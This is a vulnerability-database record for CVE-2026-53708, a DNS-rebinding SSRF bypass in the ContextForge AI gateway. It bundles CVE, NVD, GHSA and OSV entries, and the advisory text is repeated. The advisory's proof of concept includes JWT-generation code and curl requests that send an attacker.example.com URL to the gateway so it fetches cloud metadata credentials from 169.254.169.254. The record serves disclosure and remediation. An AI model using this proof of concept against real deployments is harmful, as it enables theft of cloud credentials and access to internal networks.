{"id":"CVE-2026-53708","aliases":["EUVD-2026-77591","GHSA-9hgc-g3w5-67cm","PYSEC-2026-3684"],"status":"published","title":"ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)","description":"ContextForge is an AI gateway, registry, and proxy that provides centralized discovery, guardrails, and management for MCP, A2A, and REST or gRPC APIs. Prior to 1.0.3, the /admin/gateways/test call site in mcpgateway/admin.py calls validate_gateway_test_url() in mcpgateway/common/validators.py to resolve and reject private, loopback, link-local, and cloud-metadata addresses, but ResilientHttpClient later resolves the original hostname again without binding the validated address. When MCPGATEWAY_ADMIN_API_ENABLED is enabled, an attacker with a database-backed role containing explicit gateways.read permission can use DNS rebinding to return a public address during validation and a private or metadata address during connection, bypassing ssrf_blocked_networks and ssrf_dns_fail_closed because those controls apply only to the validation-time result. The endpoint's allow_admin_bypass=False setting means a bootstrap-only virtual platform-admin identity without a database role is not sufficient. Successful exploitation can reach internal services and cloud metadata, expose cloud credentials, access internal APIs, or probe internal network ports. This issue is fixed in version 1.0.3.","severity":{"version":"3.1","score":6.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0035,"percentile":0.28909,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-350","CWE-367","CWE-918"],"published":"2026-08-14T19:49:14Z","modified":"2026-11-04T02:48:04Z","fixes":[{"ecosystem":"PyPI","package":"mcp-contextforge-gateway","fixed_in":["1.0.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mcp-contextforge-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"mcp-contextforge-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.3"}]}],"versions":["0.1.0","0.1.1","0.2.0","0.3.0","0.3.1","0.4.0","0.5.0","0.6.0","0.7.0","0.8.0","0.9.0","1.0.0","1.0.0b1","1.0.0b2","1.0.0rc1","1.0.1","1.0.2"]},{"source":"osv","ecosystem":"PyPI","package":"mcp-contextforge-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.3"}]}],"versions":["0.1.0","0.1.1","0.2.0","0.3.0","0.3.1","0.4.0","0.5.0","0.6.0","0.7.0","0.8.0","0.9.0","1.0.0","1.0.0b1","1.0.0b2","1.0.0rc1","1.0.1","1.0.2"]}],"products":[{"vendor":"ibm","product":"mcp-context-forge"},{"vendor":"ibm","product":"mcp-contextforge-gateway"}],"references":[{"url":"https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-9hgc-g3w5-67cm","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/IBM/mcp-context-forge/commit/fba11a99babd80779fa05510b35fb6a153bbacaf","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.3","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-9hgc-g3w5-67cm","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53708.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53708","tags":["advisory"]},{"url":"https://github.com/IBM/mcp-context-forge","tags":["package"]},{"url":"https://pypi.org/project/mcp-contextforge-gateway","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-53708","title":"ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)","description":"ContextForge is an AI gateway, registry, and proxy that provides centralized discovery, guardrails, and management for MCP, A2A, and REST or gRPC APIs. Prior to 1.0.3, the /admin/gateways/test call site in mcpgateway/admin.py calls validate_gateway_test_url() in mcpgateway/common/validators.py to resolve and reject private, loopback, link-local, and cloud-metadata addresses, but ResilientHttpClient later resolves the original hostname again without binding the validated address. When MCPGATEWAY_ADMIN_API_ENABLED is enabled, an attacker with a database-backed role containing explicit gateways.read permission can use DNS rebinding to return a public address during validation and a private or metadata address during connection, bypassing ssrf_blocked_networks and ssrf_dns_fail_closed because those controls apply only to the validation-time result. The endpoint's allow_admin_bypass=False setting means a bootstrap-only virtual platform-admin identity without a database role is not sufficient. Successful exploitation can reach internal services and cloud metadata, expose cloud credentials, access internal APIs, or probe internal network ports. This issue is fixed in version 1.0.3.","status":"published","published":"2026-09-14T15:56:53.629Z","modified":"2026-09-14T16:33:41.529Z","cvss":[{"version":"3.1","score":6.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-350","CWE-367","CWE-918"],"updated_at":"2026-11-02T14:20:00.11477Z"}],"euvd":[{"id":"EUVD-2026-77591","description":"ContextForge is an AI gateway, registry, and proxy that provides centralized discovery, guardrails, and management for MCP, A2A, and REST or gRPC APIs. Prior to 1.0.3, the /admin/gateways/test call site in mcpgateway/admin.py calls validate_gateway_test_url() in mcpgateway/common/validators.py to resolve and reject private, loopback, link-local, and cloud-metadata addresses, but ResilientHttpClient later resolves the original hostname again without binding the validated address. When MCPGATEWAY_ADMIN_API_ENABLED is enabled, an attacker with a database-backed role containing explicit gateways.read permission can use DNS rebinding to return a public address during validation and a private or metadata address during connection, bypassing ssrf_blocked_networks and ssrf_dns_fail_closed because those controls apply only to the validation-time result. The endpoint's allow_admin_bypass=False setting means a bootstrap-only virtual platform-admin identity without a database role is not sufficient. Successful exploitation can reach internal services and cloud metadata, expose cloud credentials, access internal APIs, or probe internal network ports. This issue is fixed in version 1.0.3.","status":"published","published":"2026-09-14T15:56:53Z","modified":"2026-09-14T16:33:41Z","cvss":[{"version":"3.1","score":6.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T17:28:20.0825Z"}],"ghsa":[{"id":"GHSA-9hgc-g3w5-67cm","title":"ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)","description":"## Summary\n\nThe `/admin/gateways/test` endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.\n\n## Details\n\n`validate_gateway_test_url()` in `mcpgateway/common/validators.py` (lines 1527–1710) calls `socket.getaddrinfo()` on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including `169.254.169.254`, `10.0.0.0/8`, `172.16.0.0/12`, and `192.168.0.0/16`), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client **as the original hostname string**, not as the validated IP address.\n\nThe HTTP client (`httpx`, via `ResilientHttpClient`) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:\n\n- The validated IP address is never passed to the HTTP client.\n- Only the original hostname is forwarded, triggering a second independent lookup.\n- No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is\n  implemented.\n\nThe configuration options `ssrf_blocked_networks` (default: enabled, covers `169.254.169.254/32`, link-local ranges, etc.) and `ssrf_dns_fail_closed` (default: `True`) apply exclusively at **validation time**. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.\n\n### Two independent acknowledgements in the source code\n\n**Location 1** — `mcpgateway/common/validators.py`, lines 1537–1543 (function docstring of `validate_gateway_test_url`):\n\n\u003e \"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but\n\u003e the HTTP client will re-resolve DNS at connection time. An attacker controlling\n\u003e DNS can return a public IP during validation and a private IP during connection\n\u003e (DNS rebinding). True mitigation requires pinning the validated IP into the\n\u003e connection (custom resolver/transport, or IP allowlist check at connect\n\u003e callback). This is tracked as a known limitation for future improvement.\"\n\n**Location 2** — `mcpgateway/admin.py`, lines 14025–14029 (call site comment):\n\n\u003e \"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS,\n\u003e but the actual ResilientHttpClient request resolves DNS a third time. An\n\u003e attacker-controlled DNS server could return a public IP during validation and a\n\u003e private IP during the actual request. Consider pinning the resolved IP for\n\u003e outbound requests (custom transport) or caching DNS resolution across\n\u003e validation and request phases.\"\n\nThe existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.\n\n### Prerequisites\n\n1. `MCPGATEWAY_ADMIN_API_ENABLED=true` (not the default; must be explicitly\n   enabled by an operator).\n2. The attacker holds a credential with explicit `gateways.read` permission\n   assigned via a database role.\n\nRegarding prerequisite 2: the endpoint is decorated with @require_permission(\"gateways.read\", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.\n\n## Proof of Concept\n\n### Setup\n\n```bash\ncd /opt/mcp-cf-test\nMCPGATEWAY_ADMIN_API_ENABLED=true \\\nJWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \\\nuvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 \u0026\nsleep 5\n```\n\n### Step 1 — Obtain a token for an account with database role assignment\n\nThe exploit requires a credential for a user who exists in the database with a role carrying `gateways.read` (e.g., `platform_admin`, which holds the `*` wildcard). Register a user through the Admin UI or API and assign the `platform_admin` role, then generate a JWT:\n\n```python\nimport datetime, jwt, uuid\n\nSECRET = \"my-test-key-but-now-longer-than-32-bytes\"\nEMAIL  = \"admin@example.com\"   # must have platform_admin role in DB\nnow    = datetime.datetime.now(datetime.timezone.utc)\n\npayload = {\n    \"sub\": EMAIL,\n    \"aud\": \"mcpgateway-api\",\n    \"iss\": \"mcpgateway\",\n    \"jti\": str(uuid.uuid4()),\n    \"iat\": now,\n    \"exp\": now + datetime.timedelta(hours=1),\n}\nprint(jwt.encode(payload, SECRET, algorithm=\"HS256\"), end=\"\")\n```\n\n```bash\nTOKEN=$(python3 /tmp/gen_token.py)\n```\n\n### Step 2 — Baseline control: direct private IP is rejected\n\nSubmitting a literal private IP is blocked unconditionally before any DNS resolution occurs:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://169.254.169.254/latest/meta-data/\", \"method\": \"GET\"}'\n# Expected: HTTP 400 — \"Invalid gateway URL\"\n```\n\n### Step 3 — DNS rebinding attack\n\n1. Attacker controls DNS for `attacker.example.com` with TTL set to 1 second.\n2. Initial record: `attacker.example.com → 1.2.3.4` (any public IP).\n3. Submit the request:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://attacker.example.com/latest/meta-data/\", \"method\": \"GET\"}'\n```\n\n4. `validate_gateway_test_url()` resolves `attacker.example.com → 1.2.3.4`;\n   all SSRF checks pass.\n5. Attacker immediately flips the DNS record:\n   `attacker.example.com → 169.254.169.254`.\n6. `httpx` independently re-resolves the hostname and connects to\n   `169.254.169.254`.\n7. The gateway returns the IMDS response body to the caller.\n\nStandard DNS rebinding infrastructure (e.g., `rbndr.us`) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.\n\n## Impact\n\nServer-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from `169.254.169.254/latest/meta-data/iam/security credentials/`, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.\n\n## Suggested Fix\n\nAfter DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom `httpx` transport or resolver that binds the socket to the already-resolved address and sets the `Host` header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.","status":"published","published":"2026-08-14T19:49:14Z","modified":"2026-08-14T19:49:14Z","cvss":[{"version":"3.1","score":6.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-350","CWE-367","CWE-918"],"updated_at":"2026-11-02T14:41:01.23108Z"}],"nvd":[{"id":"CVE-2026-53708","description":"ContextForge is an AI gateway, registry, and proxy that provides centralized discovery, guardrails, and management for MCP, A2A, and REST or gRPC APIs. Prior to 1.0.3, the /admin/gateways/test call site in mcpgateway/admin.py calls validate_gateway_test_url() in mcpgateway/common/validators.py to resolve and reject private, loopback, link-local, and cloud-metadata addresses, but ResilientHttpClient later resolves the original hostname again without binding the validated address. When MCPGATEWAY_ADMIN_API_ENABLED is enabled, an attacker with a database-backed role containing explicit gateways.read permission can use DNS rebinding to return a public address during validation and a private or metadata address during connection, bypassing ssrf_blocked_networks and ssrf_dns_fail_closed because those controls apply only to the validation-time result. The endpoint's allow_admin_bypass=False setting means a bootstrap-only virtual platform-admin identity without a database role is not sufficient. Successful exploitation can reach internal services and cloud metadata, expose cloud credentials, access internal APIs, or probe internal network ports. This issue is fixed in version 1.0.3.","status":"published","published":"2026-09-14T16:17:11.883Z","modified":"2026-09-30T19:57:08.043Z","cvss":[{"version":"3.1","score":6.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-350","CWE-367","CWE-918"],"updated_at":"2026-11-02T14:12:46.980627Z"}],"osv":[{"id":"CVE-2026-53708","title":"ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)","description":"ContextForge is an AI gateway, registry, and proxy that provides centralized discovery, guardrails, and management for MCP, A2A, and REST or gRPC APIs. Prior to 1.0.3, the /admin/gateways/test call site in mcpgateway/admin.py calls validate_gateway_test_url() in mcpgateway/common/validators.py to resolve and reject private, loopback, link-local, and cloud-metadata addresses, but ResilientHttpClient later resolves the original hostname again without binding the validated address. When MCPGATEWAY_ADMIN_API_ENABLED is enabled, an attacker with a database-backed role containing explicit gateways.read permission can use DNS rebinding to return a public address during validation and a private or metadata address during connection, bypassing ssrf_blocked_networks and ssrf_dns_fail_closed because those controls apply only to the validation-time result. The endpoint's allow_admin_bypass=False setting means a bootstrap-only virtual platform-admin identity without a database role is not sufficient. Successful exploitation can reach internal services and cloud metadata, expose cloud credentials, access internal APIs, or probe internal network ports. This issue is fixed in version 1.0.3.","status":"published","published":"2026-09-14T15:56:53.629Z","modified":"2026-11-06T10:46:33.895765451Z","cvss":[{"version":"3.1","score":6.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-350","CWE-367","CWE-918"],"updated_at":"2026-11-06T11:08:47.346964Z"},{"id":"GHSA-9hgc-g3w5-67cm","title":"ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)","description":"## Summary\n\nThe `/admin/gateways/test` endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.\n\n## Details\n\n`validate_gateway_test_url()` in `mcpgateway/common/validators.py` (lines 1527–1710) calls `socket.getaddrinfo()` on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including `169.254.169.254`, `10.0.0.0/8`, `172.16.0.0/12`, and `192.168.0.0/16`), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client **as the original hostname string**, not as the validated IP address.\n\nThe HTTP client (`httpx`, via `ResilientHttpClient`) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:\n\n- The validated IP address is never passed to the HTTP client.\n- Only the original hostname is forwarded, triggering a second independent lookup.\n- No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is\n  implemented.\n\nThe configuration options `ssrf_blocked_networks` (default: enabled, covers `169.254.169.254/32`, link-local ranges, etc.) and `ssrf_dns_fail_closed` (default: `True`) apply exclusively at **validation time**. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.\n\n### Two independent acknowledgements in the source code\n\n**Location 1** — `mcpgateway/common/validators.py`, lines 1537–1543 (function docstring of `validate_gateway_test_url`):\n\n\u003e \"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but\n\u003e the HTTP client will re-resolve DNS at connection time. An attacker controlling\n\u003e DNS can return a public IP during validation and a private IP during connection\n\u003e (DNS rebinding). True mitigation requires pinning the validated IP into the\n\u003e connection (custom resolver/transport, or IP allowlist check at connect\n\u003e callback). This is tracked as a known limitation for future improvement.\"\n\n**Location 2** — `mcpgateway/admin.py`, lines 14025–14029 (call site comment):\n\n\u003e \"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS,\n\u003e but the actual ResilientHttpClient request resolves DNS a third time. An\n\u003e attacker-controlled DNS server could return a public IP during validation and a\n\u003e private IP during the actual request. Consider pinning the resolved IP for\n\u003e outbound requests (custom transport) or caching DNS resolution across\n\u003e validation and request phases.\"\n\nThe existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.\n\n### Prerequisites\n\n1. `MCPGATEWAY_ADMIN_API_ENABLED=true` (not the default; must be explicitly\n   enabled by an operator).\n2. The attacker holds a credential with explicit `gateways.read` permission\n   assigned via a database role.\n\nRegarding prerequisite 2: the endpoint is decorated with @require_permission(\"gateways.read\", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.\n\n## Proof of Concept\n\n### Setup\n\n```bash\ncd /opt/mcp-cf-test\nMCPGATEWAY_ADMIN_API_ENABLED=true \\\nJWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \\\nuvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 \u0026\nsleep 5\n```\n\n### Step 1 — Obtain a token for an account with database role assignment\n\nThe exploit requires a credential for a user who exists in the database with a role carrying `gateways.read` (e.g., `platform_admin`, which holds the `*` wildcard). Register a user through the Admin UI or API and assign the `platform_admin` role, then generate a JWT:\n\n```python\nimport datetime, jwt, uuid\n\nSECRET = \"my-test-key-but-now-longer-than-32-bytes\"\nEMAIL  = \"admin@example.com\"   # must have platform_admin role in DB\nnow    = datetime.datetime.now(datetime.timezone.utc)\n\npayload = {\n    \"sub\": EMAIL,\n    \"aud\": \"mcpgateway-api\",\n    \"iss\": \"mcpgateway\",\n    \"jti\": str(uuid.uuid4()),\n    \"iat\": now,\n    \"exp\": now + datetime.timedelta(hours=1),\n}\nprint(jwt.encode(payload, SECRET, algorithm=\"HS256\"), end=\"\")\n```\n\n```bash\nTOKEN=$(python3 /tmp/gen_token.py)\n```\n\n### Step 2 — Baseline control: direct private IP is rejected\n\nSubmitting a literal private IP is blocked unconditionally before any DNS resolution occurs:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://169.254.169.254/latest/meta-data/\", \"method\": \"GET\"}'\n# Expected: HTTP 400 — \"Invalid gateway URL\"\n```\n\n### Step 3 — DNS rebinding attack\n\n1. Attacker controls DNS for `attacker.example.com` with TTL set to 1 second.\n2. Initial record: `attacker.example.com → 1.2.3.4` (any public IP).\n3. Submit the request:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://attacker.example.com/latest/meta-data/\", \"method\": \"GET\"}'\n```\n\n4. `validate_gateway_test_url()` resolves `attacker.example.com → 1.2.3.4`;\n   all SSRF checks pass.\n5. Attacker immediately flips the DNS record:\n   `attacker.example.com → 169.254.169.254`.\n6. `httpx` independently re-resolves the hostname and connects to\n   `169.254.169.254`.\n7. The gateway returns the IMDS response body to the caller.\n\nStandard DNS rebinding infrastructure (e.g., `rbndr.us`) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.\n\n## Impact\n\nServer-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from `169.254.169.254/latest/meta-data/iam/security credentials/`, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.\n\n## Suggested Fix\n\nAfter DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom `httpx` transport or resolver that binds the socket to the already-resolved address and sets the `Host` header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.","status":"published","published":"2026-08-14T19:49:14Z","modified":"2026-08-19T12:55:37.978994103Z","cvss":[{"version":"3.1","score":6.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-350","CWE-367","CWE-918"],"updated_at":"2026-11-02T15:46:43.875515Z"},{"id":"PYSEC-2026-3684","title":"ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)","description":"## Summary\n\nThe `/admin/gateways/test` endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.\n\n## Details\n\n`validate_gateway_test_url()` in `mcpgateway/common/validators.py` (lines 1527–1710) calls `socket.getaddrinfo()` on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including `169.254.169.254`, `10.0.0.0/8`, `172.16.0.0/12`, and `192.168.0.0/16`), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client **as the original hostname string**, not as the validated IP address.\n\nThe HTTP client (`httpx`, via `ResilientHttpClient`) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:\n\n- The validated IP address is never passed to the HTTP client.\n- Only the original hostname is forwarded, triggering a second independent lookup.\n- No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is\n  implemented.\n\nThe configuration options `ssrf_blocked_networks` (default: enabled, covers `169.254.169.254/32`, link-local ranges, etc.) and `ssrf_dns_fail_closed` (default: `True`) apply exclusively at **validation time**. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.\n\n### Two independent acknowledgements in the source code\n\n**Location 1** — `mcpgateway/common/validators.py`, lines 1537–1543 (function docstring of `validate_gateway_test_url`):\n\n\u003e \"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but\n\u003e the HTTP client will re-resolve DNS at connection time. An attacker controlling\n\u003e DNS can return a public IP during validation and a private IP during connection\n\u003e (DNS rebinding). True mitigation requires pinning the validated IP into the\n\u003e connection (custom resolver/transport, or IP allowlist check at connect\n\u003e callback). This is tracked as a known limitation for future improvement.\"\n\n**Location 2** — `mcpgateway/admin.py`, lines 14025–14029 (call site comment):\n\n\u003e \"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS,\n\u003e but the actual ResilientHttpClient request resolves DNS a third time. An\n\u003e attacker-controlled DNS server could return a public IP during validation and a\n\u003e private IP during the actual request. Consider pinning the resolved IP for\n\u003e outbound requests (custom transport) or caching DNS resolution across\n\u003e validation and request phases.\"\n\nThe existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.\n\n### Prerequisites\n\n1. `MCPGATEWAY_ADMIN_API_ENABLED=true` (not the default; must be explicitly\n   enabled by an operator).\n2. The attacker holds a credential with explicit `gateways.read` permission\n   assigned via a database role.\n\nRegarding prerequisite 2: the endpoint is decorated with @require_permission(\"gateways.read\", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.\n\n## Proof of Concept\n\n### Setup\n\n```bash\ncd /opt/mcp-cf-test\nMCPGATEWAY_ADMIN_API_ENABLED=true \\\nJWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \\\nuvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 \u0026\nsleep 5\n```\n\n### Step 1 — Obtain a token for an account with database role assignment\n\nThe exploit requires a credential for a user who exists in the database with a role carrying `gateways.read` (e.g., `platform_admin`, which holds the `*` wildcard). Register a user through the Admin UI or API and assign the `platform_admin` role, then generate a JWT:\n\n```python\nimport datetime, jwt, uuid\n\nSECRET = \"my-test-key-but-now-longer-than-32-bytes\"\nEMAIL  = \"admin@example.com\"   # must have platform_admin role in DB\nnow    = datetime.datetime.now(datetime.timezone.utc)\n\npayload = {\n    \"sub\": EMAIL,\n    \"aud\": \"mcpgateway-api\",\n    \"iss\": \"mcpgateway\",\n    \"jti\": str(uuid.uuid4()),\n    \"iat\": now,\n    \"exp\": now + datetime.timedelta(hours=1),\n}\nprint(jwt.encode(payload, SECRET, algorithm=\"HS256\"), end=\"\")\n```\n\n```bash\nTOKEN=$(python3 /tmp/gen_token.py)\n```\n\n### Step 2 — Baseline control: direct private IP is rejected\n\nSubmitting a literal private IP is blocked unconditionally before any DNS resolution occurs:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://169.254.169.254/latest/meta-data/\", \"method\": \"GET\"}'\n# Expected: HTTP 400 — \"Invalid gateway URL\"\n```\n\n### Step 3 — DNS rebinding attack\n\n1. Attacker controls DNS for `attacker.example.com` with TTL set to 1 second.\n2. Initial record: `attacker.example.com → 1.2.3.4` (any public IP).\n3. Submit the request:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://attacker.example.com/latest/meta-data/\", \"method\": \"GET\"}'\n```\n\n4. `validate_gateway_test_url()` resolves `attacker.example.com → 1.2.3.4`;\n   all SSRF checks pass.\n5. Attacker immediately flips the DNS record:\n   `attacker.example.com → 169.254.169.254`.\n6. `httpx` independently re-resolves the hostname and connects to\n   `169.254.169.254`.\n7. The gateway returns the IMDS response body to the caller.\n\nStandard DNS rebinding infrastructure (e.g., `rbndr.us`) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.\n\n## Impact\n\nServer-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from `169.254.169.254/latest/meta-data/iam/security credentials/`, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.\n\n## Suggested Fix\n\nAfter DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom `httpx` transport or resolver that binds the socket to the already-resolved address and sets the `Host` header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.","status":"published","published":"2026-08-19T11:56:26.562796Z","modified":"2026-08-19T12:45:09.838060331Z","cvss":[{"version":"3.1","score":6.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:56.847083Z"}]}}
